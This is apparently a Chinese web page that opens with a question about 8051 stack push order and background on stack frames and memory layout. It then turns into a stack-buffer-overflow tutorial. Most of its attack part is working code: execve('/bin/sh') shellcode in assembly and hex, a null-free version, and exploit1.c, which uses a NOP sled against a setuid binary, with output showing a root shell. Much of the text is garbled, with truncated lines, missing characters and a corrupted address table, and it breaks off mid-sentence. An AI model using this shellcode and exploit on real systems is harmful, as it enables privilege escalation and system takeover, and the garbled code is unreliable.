请问51单片机堆栈的作用地址进堆栈先压高位还是低位?

为什么使用堆栈?&
  现代计算机被设计成能够理解人们头脑中的高级语言。 在使用高级语言构造程序时最重要的技术是过程(procedure)和函数(function)。 从这一点来看, 一个过程调用可以象跳转(jump)命令那样改变程序的控制流程, 但是与跳转不同的是, 当工作完成时, 函数把控制权返回给调用之后的语句或指令。这种高级抽象实现起来要靠堆栈的帮助。 堆栈也用于给函数中使用的局部变量动态分配空间, 同样给函数传递参数和函数返 回值也要用到堆栈。&
  堆栈区域&
  堆栈是一块保存数据的连续内存。 一个名为堆栈指针(SP)的寄存器指向堆栈的顶部。堆栈的底部在一个固定的地址。 堆栈的大小在运行时由内核动态地调整。 CPU实现指令 PUSH和POP, 向堆栈中添加元素和从中移去元素。堆栈由逻辑堆栈帧组成。 当调用函数时逻辑堆栈帧被压入栈中, 当函数返回时逻辑 堆栈帧被从栈中弹出。 堆栈帧包括函数的参数, 函数地局部变量,以及恢复前一个堆栈 帧所需要的数据, 其中包括在函数调用时指令指针(IP)的值。 堆栈既可以向下增长(向内存低地址)也可以向上增长,这依赖于具体的实现。
在我 们的例子中, 堆栈是向下增长的。 这是很多计算机的实现方式, 包括Intel, Motorola,SPARC和MIPS处理器。 堆栈指针(SP)也是依赖于具体实现的。 它可以指向堆栈的最后地址, 或者指向堆栈之后的下一个空闲可用地址。在我们的讨论当中, SP指向堆栈的最后地址。 除了堆栈指针(SP指向堆栈顶部的的低地址)之外, 为了使用方便还有指向帧内固定地址的指针叫做帧指针(FP)。 有些文章把它叫做局部基指针(LB-local base pointer)。 从理论上来说,局部变量可以用SP加偏移量来引用。
然而, 当有字被压栈和出栈后, 这 些偏移量就变了。 尽管在某些情况下编译器能够跟踪栈中的字操作,由此可以修正偏移 量, 但是在某些情况下不能。 而且在所有情况下, 要引入可观的管理开销。 而且在有些 机器上, 比如Intel处理器,由SP加偏移量访问一个变量需要多条指令才能实现。 因此, 许多编译器使用第二个寄存器, FP, 对于局部变量和函数参数都可以引用,因为它们到FP的距离不会受到PUSH和POP操作的影响。 在Intel CPU中, BP(EBP)用于这 个目的。 在MotorolaCPU中, 除了A7(堆栈指针SP)之外的任何地址寄存器都可以做FP。
考虑到我们堆栈的增长方向, 从FP的位置开始计算,函数参数的偏移量是正值, 而局部 变量的偏移量是负值。 当一个例程被调用时所必须做的第一件事是保存前一个FP(这样当例程退出时就可以 恢复)。然后它把SP复制到FP, 创建新的FP, 把SP向前移动为局部变量保留空间。 这称为 例程的序幕(prolog)工作。 当例程退出时,堆栈必须被清除干净, 这称为例程的收尾 (epilog)工作。 Intel的ENTER和LEAVE指令,Motorola的LINK和UNLINK指令, 都可以用于 有效地序幕和收尾工作。&
  堆栈溢出&
  堆栈溢出就是不顾堆栈中分配的局部数据块大小,向该数据块写入了过多的数据,导致数据越界,结果覆盖了老的堆栈数据。 或者解释为 在长字符串中嵌入一段代码,并将过程的返回地址覆盖为这段代码的地址,这样当过程返回时,程序就转而开始执行这段自编的代码了.
linux中一个进程的内存布局如下图所示:
-----------------
| ---& 命令行参数和环境变量 (只读)
-----------------
|- - - - - - - -|
|- - - - - - - -|
|---------------|
| 未初始化的变量|
| ---& 由 exec 初始化为零
|---------------|
| 初始化后的变量|
|---------------|
| text(数据区)|
| 由 exec 从程序中读取    
|---------------|
低地址    |
|---------------|
其中堆向上增长,栈向下增长。
一个由C/C++编译的程序占用的内存布局为(低地址-&高地址):
1、程序代码区 & & & &存放函数体的二进制代码。
2、文字常量区 & & & & 常量字符串就是放在这里的。 程序结束后由系统释放
3、全局区(静态区)(static) &&
全局变量和静态变量的存储是放在一块的。
初始化的全局变量和静态变量
未初始化的全局变量和未初始化的静态变量(BSS段,这一名称来源于早期汇编程序的一个操作符,意思是“block started by symbol(由符号开始的块)”,未初始化的全局变量和静态变量存放在这里。)
程序结束后有系统释放。
4、堆区(heap) & & &一般由程序员分配释放, 若程序员不释放,程序结束时可能由OS回收 。
5、栈区(stack) & & 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等。其操作方式类似于数据结构中的栈。
6、命令行参数和环境变量
进栈出栈过程:
在函数调用时,第一个进栈的是主函数中后的下一条指令(函数调用语句的下一条可执行语句)的地址,然后是函数的各个参数,在大多数的C编译器中,参数是由右往左入栈的,然后是函数中的局部变量。注意静态变量是不入栈的。
当本次函数调用结束后,局部变量先出栈,然后是参数,最后栈顶指针指向最开始存的地址,也就是主函数中的下一条指令,程序由该点继续运行。
数组越界写入就是破坏堆栈的原因之一:
1、函数入参在栈底(内存高位)附近,函数的返回地址也在附近
2、数组(函数中的自动变量)是从内存低位向高位存放的,如果越界写入,就会向上破坏高位内存中保存的数据(可能是前面的局部变量),当越界写入内容足够多时,就会破坏栈底保存的函数的返回地址,直接导致函数返回时发生crash。
// 下面的一段是windows上的,我未做分析
Win32的可执行文件在加载后,系统将为它建立一个它自己的虚拟内存空间,即进程空间,其容量达4G(64位系统中将更大,但我想64位的程序应该不叫做Win32程序了吧?)。这4G的空间划分为了几个区域,对于win98和win2000是不尽相同的。
& & & & & & & & & & & & & &Window2000 & & & & & & &Windows98
& & NULL指针分配分区 & & & 0xx0000ffff & 0xx00000fff
& & MS-DOS/Win16兼容分区 & 无 & & & & & & & & & & &0xx003fffff
& & 用户分区 & & & & & & & 0xx7ffeffff & 0xx7fffffff
& & 禁止访问分区(64K) & &0x7ffffffffff & 无
& & 共享(MMF)分区 & & & &无 & & & & & & & & & & &0xxbfffffff
& & 内核方式分区 & & & & & 0xxffffffff & 0xcxffffffff
(上表资料来自:《Windows核心编程》)
NULL指针分区是NULL指针的地址范围。对这个区域的读写企图都将引发访问违规。
DOS/WIN16分区是98中专门用于16位的DOS和windows程序运行的空间,所有的16位程序将共享这个4M的空间。Win2000中不存在这个分区,16位程序也会拥有自己独立的虚拟地址空间。有的文章中称win2000中不能运行16位程序,是不确切的。
用户分区是进程的私有领域,Win2000中,程序的可执行代码和其它用户模块均加载在这里,内存映射文件也会加载在这里。Win98中的系统共享DLL和内存映射文件则加载在共享分区中。
禁止访问分区只有在win2000中有。这个分区是用户分区和内核分区之间的一个隔离带,目的是为了防止用户程序违规访问内核分区。
MMF分区只有win98中有,所有的内存映射文件和系统共享DLL将加载在这个地址。而2000中则将其加载到用户分区。
内 核方式分区对用户的程序来说是禁止访问的,操作系统的代码与此。内核对象是否也驻留在此?我认为应该是的,因为应用程序不能直接访问内核对象。但是关于这 点我没找到有关的叙述,不知哪位大侠有确切的依据?另外要说明的是,win98中对于内核分区本也应该提供保护的,但遗憾的是并没有做到,因而98中程序 可以访问内核分区的地址空间。
每一个进程在创建时都分配一个静态存储区域、一个堆和一个栈。
静态存储区域用于存储进程的全局变量和静态变量;这个对于理解MFC的theApp对象也挺有帮助的。
全局变量和静态变量“从静态存储区域分配。程序在编译的时候就已经分配好内存的分布,这块内存在程序的整个运行期间都存在。”(见/a4/b2/200272.html)
堆可以动态分配内存。
1)“程序在运行的时候用malloc或new从堆上动态申请任意多少的内存,程序员自己负责在何时用free或delete释放内存。”(见/a4/b2/200272.html)
2)“堆应该是保留的一段内存空间,在进程初始化的时候,系统会提交一部分物理存储。进程的堆的初始大小默认是1MB,这个可以在连接时用/HEAP开关 自己控制。物理存贮的提交和回收应该是由堆管理器来管理的。”“堆应该是自动增长的。”“我们说的“自动生长”指的是在预先保留的全部堆空间都不够用的时 候,重新来从自由区域保留。”(见http://www.pcvc.net/category/content.asp?sendid=118)
每一个函数都可以对栈操作,用于存储参数和局部变量。
1)“在执行函数时,函数的参数和函数内的局部变量的存储单元都可以在栈上创建,函数执行结束时这些存储单元自动被释放。栈内存分配运算内置于处理器的指令集中,效率很高,但是分配的内存容量有限。”(见/a4/b2/200272.html)
2)“(在函数内)声明变量/数组的方式,是在栈中分配内存。”“当调用完此函数返回的时候,栈空间自动被收回,其中的内容也就全部无效了。”(见http://www.pcvc.net/category/content.asp?sendid=114)
例子:(引用朱茂盛提供的)
1)定义函数&
char *testfunc()&
char *pret=&return character&;&
char *pp = testfunc();&
otherfunc();
printf(pp);
这样有问题吗?
2)定义函数
char *testfunc()&
char pret[]=&return character&;&
char *pp = testfunc();&
otherfunc();
printf(pp);
分析:1)中虽然变量pret分配在栈中,但&return character&是分配在进程的数据区的,在整个进程的生命期内有效;2)中&return character&是数组的内容,是分配在栈中的,一旦出了这个函数,就从栈中释放。所以1)中没问题而2)中有问题。
有人说:“DLL 可 以 有 自 己 的 数 据 段, 但 是 它 没 有 堆 栈 段, 使 用 的 是 调 用 程 序 的 堆 栈。”(见/02.htm)
也有人说:“DLL有自己的堆栈”。(见http://www.csdn.net/Develop/article/15%5C15747.shtm)
而朱茂盛说:在DLL中的函数里面分配的空间,是不允许在调用DLL的程序里面释放的。这么说来,DLL确实是有自己的堆栈的。
线程具有自己的内存布局。“进程中每个线程都有自己的堆栈,这是一段线程创建时保留下的地址区域。”(见http://www.pcvc.net/category/content.asp?sendid=118)
1:首先复习一下基础知识。
从物理上讲,堆栈是就是一段连续分配的内存空间。在一个程序中,会声明各种变
静态全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局
则分配在堆栈里面。
从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好
我们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作push=ESP
出栈的操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要
请牢牢记住这一点,因为这是堆栈溢出的基本理论依据。
在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局
接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的
被丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地
返回地址到EIP以继续执行程序。
在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时
先压c,再压b,最后压a.在取参数的时候,由于栈的先入后出,先取栈顶的a,再取
(PS:如果你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语
都会详细的讨论堆栈,必须弄懂它,你才能进行下面的学习)
2:好了,继续,让我们来看一看什么是堆栈溢出。
2.1:运行时的堆栈分配
堆栈溢出就是不顾堆栈中分配的局部数据块大小,向该数据块写入了过多的数据,
数据越界。结果覆盖了老的堆栈数据。
& & 比如有下面一段程序:
int main ( )
& & char name[8];
& & printf(&lease type your name: &);
& & gets(name);
& & printf(&Hello, %s!&, name);
& & return 0;
编译并且执行,我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中,堆栈是怎
在main函数开始运行的时候,堆栈里面将被依次放入返回地址,EBP。
我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句
& & pushl %ebp
& & movl %esp,%ebp
& & subl $8,%esp
首先他把EBP保存下来,,然后EBP等于现在的ESP,这样EBP就可以用来访问本函数
局部变量。之后ESP减8,就是堆栈向上增长8个字节,用来存放name[]数组。现在
的布局如下:
内存底部 & & & & & & & & & & 内存顶部
& & & name & & EBP & ret &&
&------ & [ & & ][ & ][ & ]
& & & ^&name
堆栈顶部 & & & & & & & & & & 堆栈底部 & &&
执行完gets(name)之后,堆栈如下:
内存底部 & & & & & & & & & & 内存顶部
& & & name & & EBP & ret &&
&------ & [ipxodi\0 ][ & ][ & ]
& & & ^&name
堆栈顶部 & & & & & & & & & & 堆栈底部 & &&
最后,main返回,弹出ret里的地址,赋值给EIP,CPU继续执行EIP所指向的指令。
2.2:堆栈溢出
好,看起来一切顺利。我们再执行一次,输入ipxodiAAAAAAAAAAAAAAA,执行完
gets(name)
之后,堆栈如下:
内存底部 & & & & & & & & & & 内存顶部
& & & name & & EBP & ret &&
&------ & [ipxodiAA][AAAA][AAAA].......
& & & ^&name
堆栈顶部 & & & & & & & & & & 堆栈底部 & &&
由于我们输入的name字符串太长,name数组容纳不下,只好向内存顶部继续写‘A
由于堆栈的生长方向与内存的生长方向相反,这些‘A’覆盖了堆栈的老的元素。
我们可以发现,EBP,ret都已经被‘A’覆盖了。在main返回的时候,就会把‘
的ASCII码:0x作为返回地址,CPU会试图执行0x处的指令,结果
错误。这就是一次堆栈溢出。
3:如何利用堆栈溢出
我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串处理函数
(gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写越界
覆盖堆栈中的老元素的值,就可以修改返回地址。
在上面的例子中,这导致CPU去访问一个不存在的指令,结果出错。
事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。如果
我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我们的指令
在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆栈溢
的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得root shell。
下一讲将叙述如何书写一个shell code。
& & & & & 如何书写一个shell code
一:shellcode基本算法分析
在程序中,执行一个shell的程序是这样写的:
shellcode.c
------------------------------------------------------------------------
void main() {
& char *name[2];
& name[0] = &/bin/sh&;
& name[1] = NULL;
& execve(name[0], name, NULL);
------------------------------------------------------------------------
execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为
的argv(argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为第三个
我们来看以看execve的汇编代码:
[nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc &__execve&: & pushl %ebp & & & & & & & ;
0x80002bd &__execve+1&: movl & %esp,%ebp & & & & &&
& & & & & & & & ;上面是函数头。
0x80002bf &__execve+3&: pushl %ebx & & & & & & &&
& & & & & & & & ;保存ebx
0x80002c0 &__execve+4&: movl & $0xb,%eax & & & & &&
& & & & & & & & ;eax=0xb,eax指明第几号系统调用。
0x80002c5 &__execve+9&: movl & 0x8(%ebp),%ebx & & &&
& & & & & & & & ;ebp+8是第一个参数&/bin/sh\0&
0x80002c8 &__execve+12&: & & movl & 0xc(%ebp),%ecx &&
& & & & & & & & ;ebp+12是第二个参数name数组的地址
0x80002cb &__execve+15&: & & movl & 0x10(%ebp),%edx&
& & & & & & & & ;ebp+16是第三个参数空指针的地址。
& & & & & & & & ;name[2-1]内容为NULL,用来存放返回值。
0x80002ce &__execve+18&: & & int & $0x80 & & & &&
& & & & & & & & ;执行0xb号系统调用(execve)
0x80002d0 &__execve+20&: & & movl & %eax,%edx & &&
& & & & & & & & ;下面是返回值的处理就没有用了。
0x80002d2 &__execve+22&: & & testl %edx,%edx
0x80002d4 &__execve+24&: & & jnl & 0x80002e6 &__execve+42&
0x80002d6 &__execve+26&: & & negl & %edx
0x80002d8 &__execve+28&: & & pushl %edx
0x80002d9 &__execve+29&: & & call & 0x8001a34&
&__normal_errno_location&
0x80002de &__execve+34&: & & popl & %edx
0x80002df &__execve+35&: & & movl & %edx,(%eax)
0x80002e1 &__execve+37&: & & movl & $0xffffffff,%eax
0x80002e6 &__execve+42&: & & popl & %ebx
0x80002e7 &__execve+43&: & & movl & %ebp,%esp
0x80002e9 &__execve+45&: & & popl & %ebp
0x80002ea &__execve+46&: & & ret
0x80002eb &__execve+47&: & & nop
End of assembler dump.
经过以上的分析,可以得到如下的精简指令算法:
movl & $execve的系统调用号,%eax & & &&
movl & &bin/sh\0&的地址,%ebx & & & &&
movl & name数组的地址,%ecx & &&
movl & name[n-1]的地址,%edx &&
int & $0x80 & & & & ;执行系统调用(execve)
当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。
如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续执行后
指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用,
结束shellcode.c的执行。
我们来看以看exit(0)的汇编代码:
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c &_exit&: & & pushl %ebp
0x800034d &_exit+1&: & movl & %esp,%ebp
0x800034f &_exit+3&: & pushl %ebx
0x8000350 &_exit+4&: & movl & $0x1,%eax & & ;1号系统调用
0x8000355 &_exit+9&: & movl & 0x8(%ebp),%ebx & ;ebx为参数0
0x8000358 &_exit+12&: & int & $0x80 & & & & ;引发系统调用
0x800035a &_exit+14&: & movl & 0xfffffffc(%ebp),%ebx
0x800035d &_exit+17&: & movl & %ebp,%esp
0x800035f &_exit+19&: & popl & %ebp
0x8000360 &_exit+20&: & ret
0x8000361 &_exit+21&: & nop
0x8000362 &_exit+22&: & nop
0x8000363 &_exit+23&: & nop
End of assembler dump.
看来exit(0)〕的汇编代码更加简单:
movl & $0x1,%eax & & ;1号系统调用
movl & 0,%ebx & & & ;ebx为exit的参数0
int & $0x80 & & & & ;引发系统调用
那么总结一下,合成的汇编代码为:
movl & $execve的系统调用号,%eax & & &&
movl & &bin/sh\0&的地址,%ebx & & & &&
movl & name数组的地址,%ecx & &&
movl & name[n-1]的地址,%edx &&
int & $0x80 & & & & ;执行系统调用(execve)
movl & $0x1,%eax & & ;1号系统调用
movl & 0,%ebx & & & ;ebx为exit的参数0
int & $0x80 & & & & ;执行系统调用(exit)
二:实现一个shellcode
好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个
。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次
动态加载,字符串和name数组的地址都不是固定的。
通过JMP和call的结合,黑客们巧妙的解决了这个问题。
------------------------------------------------------------------------
jmp & call的偏移地址 & & & # 2 bytes
popl & %esi & & & & & & & # 1 byte & & //popl出来的是string的地址。
movl & %esi,array-offset(%esi) # 3 bytes & & //在string+8处构造 name数组,
& & & & & & & & & & & & & & & & //name[0]放 string的地址
movb & $0x0,nullbyteoffset(%esi)# 4 bytes & & //string+7处放0作为string的结
movl & $0x0,null-offset(%esi) & # 7 bytes & & //name[1]放0。
movl & $0xb,%eax & & & & & # 5 bytes & & //eax=0xb是execve的syscall代码
movl & %esi,%ebx & & & & & # 2 bytes & & //ebx=string的地址
leal & array-offset,(%esi),%ecx # 3 bytes & & //ecx=name数组的开始地址
leal & null-offset(%esi),%edx & # 3 bytes & & //edx=name〔1]的地址
int & $0x80 & & & & & & # 2 bytes & & //int 0x80是sys call
movl & $0x1, %eax & & & & & # 5 bytes & & //eax=0x1是exit的syscall代码
movl & $0x0, %ebx & & & & & # 5 bytes & & //ebx=0是exit的返回值
int & $0x80 & & & & & & # 2 bytes & & //int 0x80是sys call
call & popl 的偏移地址 & & & # 5 bytes & & //这里放call,string 的地址就会
& & & & & & & & & & & & & & & & //为返回地址压栈。
/bin/sh 字符串
------------------------------------------------------------------------
首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作
返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,就
字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面8个字
name数组(两个整数,八个字节)。
我们可以写shellcode了。先写出汇编源程序。
shellcodeasm.c
------------------------------------------------------------------------
void main() {
& & jmp & 0x2a & & & & & & & # 3 bytes
& & popl & %esi & & & & & & & # 1 byte
& & movl & %esi,0x8(%esi) & & & # 3 bytes
& & movb & $0x0,0x7(%esi) & & & # 4 bytes
& & movl & $0x0,0xc(%esi) & & & # 7 bytes
& & movl & $0xb,%eax & & & & & # 5 bytes
& & movl & %esi,%ebx & & & & & # 2 bytes
& & leal & 0x8(%esi),%ecx & & & # 3 bytes
& & leal & 0xc(%esi),%edx & & & # 3 bytes
& & int & $0x80 & & & & & & # 2 bytes
& & movl & $0x1, %eax & & & & & # 5 bytes
& & movl & $0x0, %ebx & & & & & # 5 bytes
& & int & $0x80 & & & & & & # 2 bytes
& & call & -0x2f & & & & & & # 5 bytes
& & .string \&/bin/sh\& & & & & # 8 bytes
------------------------------------------------------------------------
编译后,用gdb的
b/bx 〔地址〕&
命令可以得到十六进制的表示。
下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序)
------------------------------------------------------------------------
char shellcode[] =
& & &\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00&
& & &\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80&
& & &\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff&
& & &\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3&;
void main() {
& ret = (int *)&ret + 2; & & //ret 等于main()的返回地址
& & & & & & & & & & //(+2是因为:有pushl ebp ,否则加1就可以了。)
& (*ret) = (int) & //修改main()的返回地址为shellcode的开始地
------------------------------------------------------------------------
------------------------------------------------------------------------
[nkl10]$ gcc -o test test.c
[nkl10]$ ./test
------------------------------------------------------------------------
我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地
设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的
shellcode,从
而我们得到了一个shell。
运行结果,得到了bsh的提示符$,表明成功的开了一个shell。
这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作
代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。而
代码中movl & %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在代码
这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,
于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,
为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。
对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有
因此,有些指令需要修改一下:
& & & 旧的指令 & & & & & & & & & 新的指令
& & & --------------------------------------------------------
& & & movb & $0x0,0x7(%esi) & & & & & xorl & %eax,%eax
& & & molv & $0x0,0xc(%esi) & & & & & movb & %eax,0x7(%esi)
& & & & & & & & & & & & & & & & movl & %eax,0xc(%esi)
& & & --------------------------------------------------------
& & & movl & $0xb,%eax & & & & & & & movb & $0xb,%al
& & & --------------------------------------------------------
& & & movl & $0x1, %eax & & & & & & xorl & %ebx,%ebx
& & & movl & $0x0, %ebx & & & & & & movl & %ebx,%eax
& & & & & & & & & & & & & & & & inc & %eax
& & & --------------------------------------------------------
最后的shellcode为:
------------------------------------------------------------------------
char shellcode[]=
00 & & &\xeb\x1f& & & & & & & & /* jmp 0x1f & & & & */
02 & & &\x5e& & & & & & & & & /* popl %esi & & & & */
03 & & &\x89\x76\x08& & & & & & & /* movl %esi,0x8(%esi) & */
06 & & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
08 & & &\x88\x46\x07& & & & & & & /* movb %eax,0x7(%esi) & */
0b & & &\x89\x46\x0c& & & & & & & /* movl %eax,0xc(%esi) & */
0e & & &\xb0\x0b& & & & & & & & /* movb $0xb,%al & & & */
10 & & &\x89\xf3& & & & & & & & /* movl %esi,%ebx & & */
12 & & &\x8d\x4e\x08& & & & & & & /* leal 0x8(%esi),%ecx & */
15 & & &\x8d\x56\x0c& & & & & & & /* leal 0xc(%esi),%edx & */
18 & & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
1a & & &\x31\xdb& & & & & & & & /* xorl %ebx,%ebx & & */
1c & & &\x89\xd8& & & & & & & & /* movl %ebx,%eax & & */
1e & & &\x40& & & & & & & & & /* inc %eax & & & & */
1f & & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
21 & & &\xe8\xdc\xff\xff\xff& & & & /* call -0x24 & & & & */
26 & & &/bin/sh&; & & & & & & & /* .string \&/bin/sh\& & */
------------------------------------------------------------------------
三:利用堆栈溢出获得shell
好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已
我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。
overflow1.c
------------------------------------------------------------------------
char shellcode[] =
&\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&
&\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&
& & &\x80\xe8\xdc\xff\xff\xff/bin/sh&;
char large_string[128];
void main() {
char buffer[96];
long *long_ptr = (long *) large_
for (i = 0; i & 32; i++)
& *(long_ptr + i) = (int)
for (i = 0; i & strlen(shellcode); i++)
& large_string =
strcpy(buffer,large_string);
------------------------------------------------------------------------
在执行完strcpy后,堆栈内容如下所示:
内存底部 & & & & & & & & & & 内存顶部
& & & buffer & & EBP & ret &&
&------ & [SSS...SSSA ][A & ][A & ]A..A
& & & ^&buffer
堆栈顶部 & & & & & & & & & & 堆栈底部 & &&
注:S表示shellcode。
& A表示shellcode的地址。
这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了
shellcode。
利用堆栈溢出获得shell
现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们
一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。
回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的
函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的
址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的
shellcode,从而我们得到了一个shell。
当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件
1:把我们的shellcode提供给他,让他可以访问shellcode。
2:修改他的返回地址为shellcode的入口地址。
为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer
因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开
,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。
我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是
。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程
的开始地址。
下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax
------------------------------------------------------------------------
unsigned long get_sp(void) {
& __asm__(&movl %esp,%eax&);
------------------------------------------------------------------------
我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自
写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是
左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。
显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。
前面我们用来覆盖堆栈的溢出字符串为:
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
现在,为了提高命中率,我们对他进行如下改进:
用来溢出的字符串变为:
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上,
NOP指令的机器码为0x90。
S为shellcode。
A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到
这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:)))
好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到
shell的程序:
exploit1.c
------------------------------------------------------------------------
#define OFFSET & & & & & & & & & 0
#define RET_POSITION & & & & & & 1024
#define RANGE & & & & & & & & & 20
#define NOP & & & & & & & & & 0x90
char shellcode[]=
& & &\xeb\x1f& & & & & & & & /* jmp 0x1f & & & & */
& & &\x5e& & & & & & & & & /* popl %esi & & & & */
& & &\x89\x76\x08& & & & & & & /* movl %esi,0x8(%esi) & */
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x88\x46\x07& & & & & & & /* movb %eax,0x7(%esi) & */
& & &\x89\x46\x0c& & & & & & & /* movl %eax,0xc(%esi) & */
& & &\xb0\x0b& & & & & & & & /* movb $0xb,%al & & & */
& & &\x89\xf3& & & & & & & & /* movl %esi,%ebx & & */
& & &\x8d\x4e\x08& & & & & & & /* leal 0x8(%esi),%ecx & */
& & &\x8d\x56\x0c& & & & & & & /* leal 0xc(%esi),%edx & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\x31\xdb& & & & & & & & /* xorl %ebx,%ebx & & */
& & &\x89\xd8& & & & & & & & /* movl %ebx,%eax & & */
& & &\x40& & & & & & & & & /* inc %eax & & & & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\xe8\xdc\xff\xff\xff& & & & /* call -0x24 & & & & */
& & &/bin/sh&; & & & & & & & /* .string \&/bin/sh\& & */
unsigned long get_sp(void)
& & __asm__(&movl %esp,%eax&);
main(int argc,char **argv)
& & char buff[RET_POSITION+RANGE+1],*
& & int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
& & if(argc&1)
& & & & & offset=atoi(argv[1]);
& & sp=get_sp();
& & addr=sp-
& & for(i=0;i & & & & & *((long *)&(buff))=
& & for(i=0;i & & & & & buff=NOP;
& & ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
& & for(i=0;i & & & & & *(ptr++)=&
& & buff[bsize-1]='\0';
& & & & & & & & //现在buff的内容为
& & & & & & & & //NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0
& & printf(&Jump to 0x%08x\n&,addr);
& & execl(&./vulnerable1&,&vulnerable1&,buff,0);
------------------------------------------------------------------------
execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串,
作为./vulnerable1的参数提供。
以下是执行的结果:
------------------------------------------------------------------------
[nkl10]$ ls -l vulnerable1
-rwsr-xr-x & 1 root & root & & & xxxx jan 10 16:19 vulnerable1*
[nkl10]$ ls -l exploit1
-rwxr-xr-x & 1 ipxodi & cinip & & xxxx Oct 18 13:20 exploit1*
[nkl10]$ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[nkl10]$ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
------------------------------------------------------------------------
恭喜,恭喜,你获得了root shell。
下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的
shellcode。
& &复杂的shellcode
前面几讲,我们已经有了基本的堆栈溢出知识,可以编写基本的shellcode了。这
